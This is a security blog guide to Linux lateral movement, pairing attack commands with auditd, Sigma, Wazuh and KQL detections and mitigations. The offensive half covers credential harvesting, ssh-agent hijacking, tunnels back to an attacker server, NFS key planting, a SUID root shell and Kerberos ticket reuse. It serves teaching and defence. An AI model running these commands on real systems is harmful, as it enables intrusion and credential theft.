You’re root on a web server in the DMZ. The database is on a separate host — no direct route from your C2, but the compromised box can reach it on port 5432. Fifteen minutes later, you’ve pivoted through three hosts and landed on the domain controller joined Linux box with /etc/krb5.conf pointing at the AD domain. This is Linux lateral movement.

For defenders: lateral movement is where dwell time compounds. Initial access gets detected eventually — but pivoting through internal hosts using legitimate tools leaves almost no trace without purpose-built logging.

TL;DR

  • Lateral movement turns a single compromised host into network-wide access
  • Six primary techniques: SSH pivoting, ssh-agent hijacking, credential harvesting, port forwarding, NFS abuse, and Kerberos ticket theft
  • Tools attackers use: ssh built-ins, socat, chisel, ligolo-ng, impacket
  • Every technique in this guide has auditd, Sigma, and Wazuh/Sentinel detection coverage
  • Most pivoting happens over encrypted SSH tunnels — content inspection fails, but behavioral detection works

Why This Matters

Lateral movement is the difference between a contained breach and a full network compromise. On Linux environments — especially those joined to Active Directory or running internal services — the attack surface is wide and often unmonitored.

Linux hosts frequently have:

  • SSH keys with broad access across the environment
  • Plaintext credentials in shell history, config files, and environment variables
  • Writable NFS shares mounted across multiple systems
  • ssh-agent running with forwarded keys to privileged hosts

For red teamers: it’s the post-exploitation phase where scope expands from one host to an entire environment. For blue teamers: it’s where most SIEM coverage ends — SSH tunnels are encrypted, pivoting looks like legitimate admin traffic, and most shops have zero auditd rules covering it.

MITRE ATT&CK tactic: TA0008 — Lateral Movement


Contents

  1. Phase 1: Internal Reconnaissance
  2. SSH Pivoting
  3. ssh-agent Hijacking
  4. Credential Harvesting on Linux
  5. Port Forwarding and Tunneling
  6. NFS Share Abuse
  7. Kerberos Ticket Theft (AD-Joined Linux)
  8. Detection Reference
  9. Mitigations
  10. What You Can Do Today

Phase 1: Internal Reconnaissance

Before pivoting anywhere, map what’s reachable and what credentials exist on the compromised host.

Network mapping without nmap

On hosts where nmap isn’t available (or you want to avoid writing tools to disk):

Terminal window
# Active hosts in /24 — pure bash, no binaries
for i in $(seq 1 254); do
(ping -c1 -W1 10.10.10.$i &>/dev/null && echo "10.10.10.$i UP") &
done; wait
# Open ports on a target — bash TCP scan
for port in 22 80 443 445 3306 5432 6379 8080 8443; do
(echo >/dev/tcp/10.10.10.50/$port) 2>/dev/null && echo "$port open"
done
# Check routing table — what networks are reachable?
ip route
ss -tlnp
# Who has SSH keys and where do they connect?
cat /home/*/.ssh/config 2>/dev/null
cat /root/.ssh/config 2>/dev/null
cat /home/*/.ssh/known_hosts 2>/dev/null

What to look for

Terminal window
# Recently accessed hosts
cat ~/.bash_history | grep -E "ssh|scp|rsync|sftp"
# SSH keys — check for passphrase-free keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
ssh-keygen -y -f /home/user/.ssh/id_rsa # passphrase-free = immediate use
# Mounted filesystems — NFS shares, CIFS
mount | grep -E "nfs|cifs|smb"
cat /etc/fstab | grep -v "^#"

SSH Pivoting

SSH is the primary lateral movement tool on Linux. It’s encrypted, trusted by firewalls, and ships on every host.

ProxyJump — chain through hosts

Terminal window
# Single hop: reach 10.10.20.5 via compromised 10.10.10.50
ssh -J user@10.10.10.50 user@10.10.20.5
# Multi-hop chain
ssh -J user@10.10.10.50,user@10.10.20.5 user@192.168.1.10
# Add to ~/.ssh/config for persistent pivoting
Host internal-db
HostName 192.168.1.50
User dbadmin
ProxyJump pivot@10.10.10.50

Local and remote port forwarding

Terminal window
# Local forwarding: bring remote service to attacker
# Access internal PostgreSQL (5432) as localhost:5433
ssh -L 5433:192.168.1.50:5432 user@10.10.10.50 -N
# Remote forwarding: expose attacker port on internal host
# Useful when firewall blocks inbound — push C2 callback outbound
ssh -R 4444:localhost:4444 user@10.10.10.50 -N
# Dynamic SOCKS proxy — route all traffic through compromised host
ssh -D 1080 user@10.10.10.50 -N
# Then: proxychains nmap -sT -Pn 192.168.1.0/24

SSH config persistence

If you can write to ~/.ssh/config on the compromised host, establish persistent tunnels:

Terminal window
cat >> ~/.ssh/config << 'EOF'
Host *
ServerAliveInterval 60
ServerAliveCountMax 10
StrictHostKeyChecking no
EOF

ssh-agent Hijacking

ssh-agent holds decrypted private keys in memory. When SSH agent forwarding is enabled, the agent socket is accessible on every hop in the chain — and attackers can hijack it.

Find active agents

Terminal window
# List all agent sockets on the system
find /tmp -name "agent.*" 2>/dev/null
ls /tmp/ssh-*/
# Check who is using agent forwarding
ps aux | grep ssh
env | grep SSH_AUTH_SOCK

Hijack another user’s agent

Terminal window
# As root — list SSH_AUTH_SOCK for all processes
for pid in $(pgrep -u victim_user ssh-agent); do
cat /proc/$pid/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK
done
# Use their agent socket
export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234
ssh-add -l # List keys in the hijacked agent
ssh user@target # SSH using their keys — no password needed

This works because the agent socket is a Unix socket with filesystem permissions. As root, you bypass permission checks entirely. Even without root, if the socket is world-readable (misconfiguration), any user can hijack it.


Credential Harvesting on Linux

Before pivoting, collect credentials that unlock other hosts.

Shell history

Terminal window
# All users' history files
cat /home/*/.bash_history /home/*/.zsh_history /root/.bash_history 2>/dev/null | \
grep -E "password|passwd|secret|key|token|ssh|mysql|psql|redis" | sort -u
# Commands with embedded credentials
grep -rE "(password|passwd|token|secret|api_key)\s*=\s*['\"]?[^'\"]{4,}" \
/home /etc /opt /var/www 2>/dev/null

Environment variables

Terminal window
# Current environment
env | grep -iE "pass|token|secret|key|aws|db"
# Other processes' environments (root required)
for pid in $(ls /proc | grep -E "^[0-9]+$"); do
cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | \
grep -iE "pass|token|secret|aws_access"
done

Config files

Terminal window
# Database credentials
find / -name "*.conf" -o -name "*.config" -o -name "*.env" -o -name ".env" 2>/dev/null | \
xargs grep -lE "password|DB_PASS|db_password" 2>/dev/null
# Web application configs
grep -rE "password|db_pass|secret_key" \
/var/www /opt /srv /home 2>/dev/null --include="*.php" \
--include="*.py" --include="*.rb" --include="*.env"
# SSH private keys world-readable
find / -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" 2>/dev/null | \
xargs ls -la 2>/dev/null | grep -v "^-r--------"
# Cloud credentials
cat ~/.aws/credentials
cat ~/.config/gcloud/application_default_credentials.json

In-memory credential extraction (root)

Terminal window
# Dump process memory for credential strings — targets sshd, sudo sessions
strings /proc/$(pgrep sshd | head -1)/mem 2>/dev/null | \
grep -E "[A-Za-z0-9+/]{20,}={0,2}"
# GPG agent — may hold passphrases
gpg-connect-agent "keyinfo --list" /bye 2>/dev/null

Port Forwarding and Tunneling

When SSH isn’t enough — firewalls block outbound SSH, or you need to tunnel non-TCP protocols.

socat — bidirectional relay

Terminal window
# TCP relay — forward all traffic from :8080 to internal host
socat TCP-LISTEN:8080,fork TCP:192.168.1.50:80
# Forward attacker's port to internal service
socat TCP-LISTEN:3307,fork TCP:192.168.1.10:3306
# UDP forwarding (useful for DNS pivoting)
socat UDP-LISTEN:53,fork UDP:8.8.8.8:53

chisel — HTTP-based tunneling

chisel encapsulates traffic over HTTP/HTTPS — bypasses firewalls that allow web traffic but block SSH.

Terminal window
# On attacker server
./chisel server --port 8080 --reverse
# On compromised host
./chisel client 10.10.10.1:8080 R:socks # SOCKS5 on attacker:1080
./chisel client 10.10.10.1:8080 R:5432:192.168.1.50:5432 # specific port

ligolo-ng — transparent tunneling

ligolo-ng creates a TUN interface on the attacker — traffic routes transparently without proxychains:

Terminal window
# Attacker
./proxy -selfcert -laddr 0.0.0.0:11601
# Compromised host
./agent -connect 10.10.10.1:11601 -ignore-cert
# In ligolo proxy console
session # select agent
start # start tunnel
# Add route on attacker: ip route add 192.168.1.0/24 dev ligolo

NFS Share Abuse

NFS uses UID/GID for access control — not usernames. A root-squashed share still trusts any UID that matches.

Enumerate NFS shares

Terminal window
# From compromised host — what's exported?
showmount -e 192.168.1.10
# What's already mounted?
mount | grep nfs
cat /proc/mounts | grep nfs

UID matching attack

Terminal window
# Target exports /data with no_root_squash — root on client = root on share
mount -t nfs 192.168.1.10:/data /mnt/nfs -o nolock
# If root_squash is set but files are owned by UID 1001:
# Create a local user with matching UID
useradd -u 1001 -s /bin/bash pivotuser
su pivotuser
ls /mnt/nfs # access granted by UID match
# Write SSH key into NFS-mounted home directory
echo "ssh-ed25519 AAAA... attacker" >> /mnt/nfs/.ssh/authorized_keys

no_root_squash escalation

If no_root_squash is set on an NFS export, you can place a SUID binary:

Terminal window
mount -t nfs 192.168.1.10:/shared /mnt/nfs
cp /bin/bash /mnt/nfs/rootbash
chmod u+s /mnt/nfs/rootbash
# On target host:
/shared/rootbash -p # drops root shell

Kerberos Ticket Theft (AD-Joined Linux)

Linux hosts joined to Active Directory via SSSD or winbind hold Kerberos tickets that can be stolen and reused.

Find and steal tickets

Terminal window
# Locate ticket cache files
find /tmp -name "krb5cc_*" 2>/dev/null
ls -la /tmp/krb5cc_*
env | grep KRB5CCNAME
# List tickets in a cache
klist -c /tmp/krb5cc_1000
# Copy ticket to attacker (or use directly)
export KRB5CCNAME=/tmp/krb5cc_1000
klist # confirms ticket validity

Pass-the-Ticket with impacket

Terminal window
# Use stolen ticket to authenticate to other hosts
export KRB5CCNAME=/tmp/stolen.ccache
python3 impacket/examples/psexec.py -k -no-pass domain.local/admin@dc01.domain.local
# secretsdump via Kerberos ticket
python3 impacket/examples/secretsdump.py -k -no-pass dc01.domain.local

Detection Reference

auditd rules

Add to /etc/audit/rules.d/99-lateral-movement.rules:

# SSH key access
-w /home -p r -k ssh_key_read
-a always,exit -F arch=b64 -S open,openat -F path=/root/.ssh/id_rsa -k ssh_key_access
-a always,exit -F arch=b64 -S open,openat -F path=/root/.ssh/authorized_keys -k authorized_keys_access
# Kerberos ticket access
-a always,exit -F arch=b64 -S open,openat -F dir=/tmp -F exe=/usr/bin/klist -k kerberos_enum
-w /tmp -p wa -k tmp_write
# SSH agent socket manipulation
-a always,exit -F arch=b64 -S connect -k network_connect
# socat / chisel execution
-a always,exit -F arch=b64 -S execve -F comm=socat -k tunnel_tool
-a always,exit -F arch=b64 -S execve -F comm=chisel -k tunnel_tool
# NFS mount activity
-a always,exit -F arch=b64 -S mount -F a2&MS_BIND -k bind_mount
-w /proc/mounts -p r -k mounts_read
# Credential file access
-w /etc/shadow -p r -k shadow_read
-a always,exit -F arch=b64 -S open,openat -F path=/proc -F key=proc_mem_read

Reload: sudo augenrules --load


Sigma rules

SSH pivoting via ProxyJump:

title: SSH ProxyJump Lateral Movement
id: a1f2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects SSH connections using ProxyJump flag, indicating pivoting
logsource:
product: linux
service: auditd
detection:
selection:
type: EXECVE
a0: ssh
CMDLINE|contains:
- '-J '
- 'ProxyJump'
condition: selection
falsepositives:
- Legitimate admin use of SSH jump hosts
level: medium
tags:
- attack.lateral_movement
- attack.t1021.004

ssh-agent hijacking:

title: SSH Agent Socket Access by Unexpected Process
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects access to SSH agent sockets by processes other than ssh
logsource:
product: linux
service: auditd
detection:
selection:
type: PATH
name|startswith: '/tmp/ssh-'
name|endswith: '/agent'
filter:
exe:
- '/usr/bin/ssh'
- '/usr/bin/ssh-agent'
condition: selection and not filter
falsepositives:
- SSH multiplexing tools, legitimate agent-aware applications
level: high
tags:
- attack.lateral_movement
- attack.t1563.001

Credential harvesting via /proc:

title: Process Memory Read via /proc
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Detects reading other process memory via /proc/PID/mem or environ
logsource:
product: linux
service: auditd
detection:
selection:
type: OPEN
name|re: '^/proc/[0-9]+/(mem|environ|maps)$'
filter:
exe:
- '/usr/bin/gdb'
- '/usr/bin/strace'
condition: selection and not filter
falsepositives:
- Debugging tools, monitoring agents
level: high
tags:
- attack.credential_access
- attack.t1003.007

Wazuh rules

<!-- SSH ProxyJump detection -->
<rule id="110100" level="10">
<if_group>auditd</if_group>
<match>type=EXECVE</match>
<regex>a\d+=-J|ProxyJump</regex>
<description>SSH ProxyJump lateral movement detected</description>
<mitre>
<id>T1021.004</id>
</mitre>
</rule>
<!-- chisel or socat tunnel tool execution -->
<rule id="110101" level="12">
<if_group>auditd</if_group>
<match>type=EXECVE</match>
<regex>comm=(chisel|socat|ligolo)</regex>
<description>Known tunneling tool executed - possible lateral movement</description>
<mitre>
<id>T1572</id>
</mitre>
</rule>
<!-- Kerberos ticket cache enumeration -->
<rule id="110102" level="8">
<if_group>auditd</if_group>
<match>type=EXECVE</match>
<regex>comm=klist</regex>
<description>Kerberos ticket enumeration via klist</description>
<mitre>
<id>T1558</id>
</mitre>
</rule>

Microsoft Sentinel KQL

SSH pivoting from Linux hosts:

AuditLogs_CL
| where TimeGenerated > ago(24h)
| where RawData has "type=EXECVE"
| where RawData has "-J " or RawData has "ProxyJump"
| extend SourceHost = extract(@"hostname=(\S+)", 1, RawData)
| extend User = extract(@"auid=(\d+)", 1, RawData)
| project TimeGenerated, SourceHost, User, RawData
| sort by TimeGenerated desc

Tunneling tool execution:

AuditLogs_CL
| where TimeGenerated > ago(1h)
| where RawData has "type=EXECVE"
| where RawData has_any ("chisel", "socat", "ligolo")
| extend SourceHost = extract(@"hostname=(\S+)", 1, RawData)
| extend CommandLine = extract(@'a\d+="([^"]+)"', 1, RawData)
| project TimeGenerated, SourceHost, CommandLine
| sort by TimeGenerated desc

Credential file access pattern:

AuditLogs_CL
| where TimeGenerated > ago(6h)
| where RawData has "type=OPEN"
| where RawData has_any ("id_rsa", "authorized_keys", "/proc/", "krb5cc_", ".bash_history")
| extend SourceHost = extract(@"hostname=(\S+)", 1, RawData)
| extend FilePath = extract(@'name="([^"]+)"', 1, RawData)
| extend User = extract(@"auid=(\d+)", 1, RawData)
| project TimeGenerated, SourceHost, User, FilePath
| summarize AccessCount=count(), Files=make_set(FilePath) by SourceHost, User, bin(TimeGenerated, 5m)
| where AccessCount > 3
| sort by TimeGenerated desc

Mitigations

TechniqueMitigation
SSH pivotingDisable AllowTcpForwarding and AllowAgentForwarding in /etc/ssh/sshd_config on servers that don’t need it
ssh-agent hijackingNever use ForwardAgent yes in SSH config unless strictly necessary; use ssh-add -c to require confirmation on key use
Credential harvestingSet HISTSIZE=0 on sensitive accounts; use vaults (HashiCorp Vault, AWS Secrets Manager) instead of config files
Port forwardingRestrict AllowTcpForwarding to specific users; use network segmentation so pivot hosts can’t reach internal services
NFS abuseEnforce root_squash and all_squash on all exports; prefer Kerberos-secured NFS (sec=krb5p)
Kerberos ticket theftSet short ticket lifetimes (4–8h); use renewable tickets only with PAM enforcement; restrict ccache file permissions

Mitigating ssh-agent Forwarding in Practice

The single highest-impact change most environments can make:

Terminal window
# /etc/ssh/sshd_config — disable on servers that don't need it
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
# For jump hosts where forwarding is needed — restrict to specific users
Match User jumpuser
AllowAgentForwarding yes
AllowTcpForwarding yes

On the client side, never put ForwardAgent yes globally in ~/.ssh/config. Use it per-host only when required:

Terminal window
Host jumphost.internal
ForwardAgent yes
Host *
ForwardAgent no

What You Can Do Today

Red teamers:

  1. On every Linux host you compromise — run the internal recon commands before anything else
  2. Check SSH_AUTH_SOCK immediately — a forwarded agent is instant horizontal movement
  3. Use ~/.bash_history and /proc/*/environ before deploying any tooling — the credentials are often already there

Blue teamers:

  1. Audit all sshd_config files across your Linux fleet — disable AllowAgentForwarding and AllowTcpForwarding where unused
  2. Deploy the auditd rules above and forward to SIEM — SSH pivoting leaves no logs without them
  3. Grep your NFS exports for no_root_squashshowmount -e localhost on every NFS server
  4. Alert on klist, socat, chisel, and /proc/*/mem access — these have almost no legitimate use in production


Sources


Hive Security — Offensive thinking. Defensive expertise.